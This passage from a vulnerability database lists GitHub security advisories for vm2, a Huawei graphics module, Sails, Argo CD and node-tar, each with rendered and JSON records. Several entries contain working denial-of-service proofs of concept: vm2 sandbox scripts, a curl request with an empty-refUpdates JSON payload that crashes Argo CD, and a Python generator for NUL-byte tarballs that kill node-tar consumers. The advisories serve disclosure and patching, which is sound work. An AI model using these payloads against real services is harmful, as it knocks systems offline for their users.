1` for the positive cases and `status: 0` for controls.\n\nMinimal VM positive case:\n\n```js\nconst { VM } = require(\u0027vm2\u0027);\n\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error(\u0027host-boom\u0027)),\n  },\n});\n\nvm.run(\u0027hostReject(); 1\u0027);\nsetTimeout(() =\u003e console.log(\u0027survived\u0027), 150);\n```\n\nObserved on current head:\n\n```text\nError: host-boom\n    at hostReject (...)\n```\n\nThe process exits before printing `survived`.\n\nMinimal NodeVM builtin variant:\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: false, builtin: [\u0027events\u0027] },\n});\n\nvm.run(`\n  const events = require(\u0027events\u0027);\n  const ee = new events.EventEmitter();\n  events.once(ee, \u0027message\u0027);\n  ee.emit(\u0027error\u0027, new Error(\u0027event-boom\u0027));\n  module.exports = \u0027returned\u0027;\n`, \u0027events-pov.js\u0027);\n\nsetTimeout(() =\u003e console.log(\u0027survived\u0027), 150);\n```\n\nObserved on current head:\n\n```text\nnode:internal/process/promises:332\n    triggerUncaughtException(err, true /* fromPromise */);\nError: event-boom\n```\n\nThe process exits with status `1`.\n\n## Mitigation\n\nApplications can reduce exposure by installing a process-level `unhandledRejection` handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node\u0027s default `--unhandled-rejections=throw` behavior raises the rejection as an uncaught exception and exits the process.\n\n## Suggested Fix Direction\n\nWhen a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own `.catch()` / `.then(..., onRejected)`.\n\nRegression tests should cover:\n\n- `VM` with `hostReject: () =\u003e Promise.reject(new Error(...))`; calling `hostReject()` without `.catch()` must not terminate the process.\n- The same call with a sandbox `.catch()` must still deliver a sanitized rejection to the sandbox callback.\n- `NodeVM` with `require.builtin: [\u0027events\u0027]`; calling `events.once(ee, \u0027message\u0027)` and then emitting `error` without `.catch()` must not terminate the process.\n- The same `events.once()` call with a sandbox `.catch()` must continue to deliver a sanitized rejection to the sandbox callback.\n- Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.\n\n## Why This Is Not Intended Behavior\n\nvm2 already treats this failure mode as security-relevant. `GHSA-hw58-p9xv-2mjh` was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current `setup-sandbox.js` explicitly states that the local Promise swallow tail exists so the host\u0027s `unhandledRejection` event never fires.\n\nThis report shows the same availability boundary failure still exists for host-returned Promises:\n\n- the sandbox does not need `child_process`, filesystem, network, `nesting`, or dangerous builtins;\n- the `VM` variant needs only a common embedder pattern: exposing an async host helper to untrusted code;\n- the `NodeVM` variant needs only the documented `events` builtin allowlist;\n- a single sandbox call terminates the whole host process serving all users.\n\nThis is distinct from the documented caveat that `timeout` cannot stop CPU loops. It is also distinct from the README\u0027s current async-function / `await using` caveat: this report does not require sandbox `async` syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2\u0027s own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.\n\nThis is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.",
  "id": "GHSA-gjq8-xm47-88rc",
  "modified": "2026-10-05T22:45:48Z",
  "published": "2026-10-05T22:45:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/5bb37f8b3f0498675a71cfa4df2b408d8ef7d4fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: Host-returned Promise rejection can bypass vm2\u0027s unhandled-rejection hardening and terminate the host process"
}

GHSA-GMFG-PFQM-QMCP

Vulnerability from github – Published: 2024-08-08 12:30 – Updated: 2024-08-08 12:30
VLAI
Details

Vulnerability of uncaught exceptions in the Graphics module Impact: Successful exploitation of this vulnerability may affect service confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-42037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-08T10:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability of uncaught exceptions in the Graphics module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-gmfg-pfqm-qmcp",
  "modified": "2024-08-08T12:30:34Z",
  "published": "2024-08-08T12:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42037"
    },
    {
      "type": "WEB",
      "url": "https://https://consumer.huawei.com/en/support/bulletin/2024/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GPW9-FWM8-7RX7

Vulnerability from github – Published: 2023-07-27 17:13 – Updated: 2023-07-27 21:36
VLAI
Summary
DoS vulnerability for apps with sockets enabled
Details

Impact

In Sails apps <=v1.5.6, an attacker can send a virtual request that will cause the node process to crash.

Patches

This behavior was fixed in Sails v1.5.7

Workarounds

Disable the sockets hook and remove the sails.io.js client

References

https://github.com/balderdashy/sails/pull/7287

Big thanks to @ThomasRinsma at Codean!

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sails"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38504"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-27T17:13:14Z",
    "nvd_published_at": "2023-07-27T19:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nIn Sails apps \u003c=v1.5.6, an attacker can send a virtual request that will cause the node process to crash. \n\n### Patches\nThis behavior was fixed in Sails [v1.5.7](https://github.com/balderdashy/sails/releases/tag/v1.5.7)\n\n### Workarounds\nDisable the sockets hook and remove the `sails.io.js` client\n\n### References\nhttps://github.com/balderdashy/sails/pull/7287\n\nBig thanks to @ThomasRinsma at [Codean](https://www.linkedin.com/company/codeanio/)!",
  "id": "GHSA-gpw9-fwm8-7rx7",
  "modified": "2023-07-27T21:36:06Z",
  "published": "2023-07-27T17:13:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/security/advisories/GHSA-gpw9-fwm8-7rx7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/pull/7287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/commit/4a023dc5095a4b30fdc8535f705ed34cd22d2f7d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/balderdashy/sails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balderdashy/sails/releases/tag/v1.5.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DoS vulnerability for apps with sockets enabled"
}

GHSA-GPX4-37G2-C8PV

Vulnerability from github – Published: 2025-09-30 18:32 – Updated: 2025-10-23 20:29
VLAI
Summary
Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
Details

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0-rc1"
            },
            {
              "fixed": "2.14.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0-rc1"
            },
            {
              "fixed": "3.2.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0-rc1"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0-rc1"
            },
            {
              "fixed": "3.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.18"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-rc1"
            },
            {
              "fixed": "3.0.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T18:32:31Z",
    "nvd_published_at": "2025-10-01T21:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIn the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD\u2019s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.\n\nThe slice index [0] is accessed without a length check, causing an index-out-of-range panic.\n\nA single unauthenticated HTTP POST is enough to kill the process.\n\n### Details\n\n```go\ncase azuredevops.GitPushEvent:\n    // util/webhook/webhook.go -- line \u2248147\n    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty\n    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)\n    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)\n    touchedHead     = payload.Resource.RefUpdates[0].Name ==\n                      payload.Resource.Repository.DefaultBranch\n```\n\nIf the attacker supplies \"refUpdates\": [], the slice has length 0.\n\nThe webhook code has no recover(), so the panic terminates the entire binary.\n\n### PoC\n\npayload-azure-empty.json:\n```json\n{\n  \"eventType\": \"git.push\",\n  \"resource\": {\n    \"refUpdates\": [],\n    \"repository\": {\n      \"remoteUrl\": \"https://example.com/dummy\",\n      \"defaultBranch\": \"refs/heads/master\"\n    }\n  }\n}\n```\n\ncurl call:\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H \u0027X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     --data-binary @payload-azure-empty.json\n```\n\nObserved crash:\n\n```\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 205 [running]:\ngithub.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo\n    webhook.go:147 +0x1ea5\n...\n```\n\n### Mitigation\n\nIf you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.azuredevops.username: \u003cyour base64-encoded secret here\u003e\n+  webhook.azuredevops.password: \u003cyour base64-encoded secret here\u003e\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.",
  "id": "GHSA-gpx4-37g2-c8pv",
  "modified": "2025-10-23T20:29:02Z",
  "published": "2025-09-30T18:32:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3995"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook"
}

GHSA-GVWX-54WH-QM9J

Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51
VLAI
Summary
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Details

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in: - src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir - src/list.ts (no crash — listing tolerates NUL in strings) - Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.16"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:51:12Z",
    "nvd_published_at": "2026-07-08T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer\u0027s `await/try-catch` around `tar.x()` \u2014 it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink \u2014 `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n  const n = parseInt(line, 10)\n  if (n !== Buffer.byteLength(line) + 1) return set\n  line = line.slice((n + \u0027 \u0027).length)\n  const kv = line.split(\u0027=\u0027)\n  const r = kv.shift()\n  if (!r) return set\n  const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n  const v = kv.join(\u0027=\u0027)                                 // \u003c-- NO NUL STRIP\n  set[k] =\n    /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n      new Date(Number(v) * 1000)\n    : /^[0-9]+$/.test(v) ? +v\n    : v                                                  // \u003c-- v with NULs lands here\n  return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary \u2014 but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink \u2014 `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase \u0027NextFileHasLongPath\u0027:\ncase \u0027OldGnuLongPath\u0027: {\n  const ex = this[EX] ?? Object.create(null)\n  this[EX] = ex\n  ex.path = this[META].replace(/\\0.*/, \u0027\u0027)               // \u003c-- NUL strip applied\n  break\n}\ncase \u0027NextFileHasLongLinkpath\u0027: {\n  const ex = this[EX] || Object.create(null)\n  this[EX] = ex\n  ex.linkpath = this[META].replace(/\\0.*/, \u0027\u0027)           // \u003c-- NUL strip applied\n  break\n}\n```\n\nThe `parse.ts` fix is the maintainer\u0027s own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` \u2192 `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash \u2014 listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user\u0027s `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` \u2014 3072 bytes \u2014 PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` \u2014 2560 bytes \u2014 PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` \u2014 minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro \u2014 Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n    s = 0\n    for i, x in enumerate(b):\n        s += 0x20 if 148 \u003c= i \u003c 156 else x\n    return s\n\ndef pad512(buf):\n    rem = len(buf) % 512\n    return buf + b\u0027\\0\u0027 * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b\u0027\u0027, linkpath=b\u0027\u0027):\n    b = bytearray(512)\n    b[0:len(name[:100])] = name[:100]\n    b[100:108] = b\u00270000644\\0\u0027\n    b[108:116] = b\u00270001000\\0\u0027\n    b[116:124] = b\u00270001000\\0\u0027\n    b[124:136] = (\u0027%011o \u0027 % size).encode()\n    b[136:148] = (\u0027%011o \u0027 % 0).encode()\n    b[148:156] = b\u0027        \u0027\n    b[156:157] = typeflag\n    b[157:157+len(linkpath[:100])] = linkpath[:100]\n    b[257:265] = b\u0027ustar\\x0000\u0027\n    b[265:270] = b\u0027root\\0\u0027\n    b[297:302] = b\u0027root\\0\u0027\n    b[329:337] = b\u00270000000\\0\u0027\n    b[337:345] = b\u00270000000\\0\u0027\n    b[345:345+len(prefix[:155])] = prefix[:155]\n    s = cksum(b)\n    b[148:156] = (\u0027%06o\\0 \u0027 % s).encode()\n    return bytes(b)\n\ndef pax(records):\n    body = b\u0027\u0027\n    for k, v in records:\n        kv = b\u0027 \u0027 + k + b\u0027=\u0027 + v + b\u0027\\n\u0027\n        for digits in range(1, 8):\n            total = digits + len(kv)\n            if len(str(total)) == digits:\n                break\n        